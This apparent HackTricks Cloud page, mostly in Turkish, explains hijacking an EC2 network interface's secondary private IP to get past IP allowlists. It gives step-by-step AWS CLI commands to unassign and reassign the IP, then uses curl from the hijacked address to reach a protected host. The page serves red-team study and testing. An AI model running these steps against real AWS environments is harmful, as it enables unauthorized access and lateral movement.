AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Abuse ec2:UnassignPrivateIpAddresses and ec2:AssignPrivateIpAddresses izinlerini kullanarak hedef ENI’nin secondary private IP’sini çalın ve aynı subnet/AZ içindeki saldırgan ENI’ye taşıyın. Birçok dahili servis ve security groups erişimi belirli private IP’lerle kısıtlar. Bu ikincil adresi taşıyarak saldırgan L3’te güvenilen host’u taklit eder ve allowlisted services’e ulaşabilir.
Prereqs:
- Permissions:
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddresseson the victim ENI ARN, andec2:AssignPrivateIpAddresseson the attacker ENI ARN. - Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
Variables:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# SG on a target service that allows only $HIJACK_IP - PROTECTED_HOST=
Steps:
- Pick a secondary IP from the victim ENI
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- Korunan hostun yalnızca o IP’ye izin verdiğinden emin olun (idempotent). Eğer bunun yerine SG-to-SG kuralları kullanıyorsanız, atlayın.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- Temel: attacker instance’tan PROTECTED_HOST’a yapılan istek, spoofed source olmadan (ör. SSM/SSH üzerinden) başarısız olmalıdır
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- Hedef ENI’den ikincil IP’yi ayırın
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Aynı IP’yi saldırgan ENI’sine atayın (AWS CLI v1 için
--allow-reassignmentekleyin)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Sahipliğin taşındığını doğrulayın
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- Attacker instance’dan, hijacked IP’ye source-bind yaparak protected host’a erişin (IP’nin işletim sisteminde yapılandırıldığından emin olun; değilse
ip addr add $HIJACK_IP/<mask> dev eth0ile ekleyin)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
Etki
- Aynı subnet/AZ içindeki ENIs arasında secondary private IP’leri taşıyarak IP allowlists’lerini atlatmak ve VPC içinde güvenilen host’ları taklit etmek.
- Belirli source IP’lere göre erişimi kısıtlayan internal servislere erişim sağlamak; bu lateral movement ve veri erişimini mümkün kılar.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

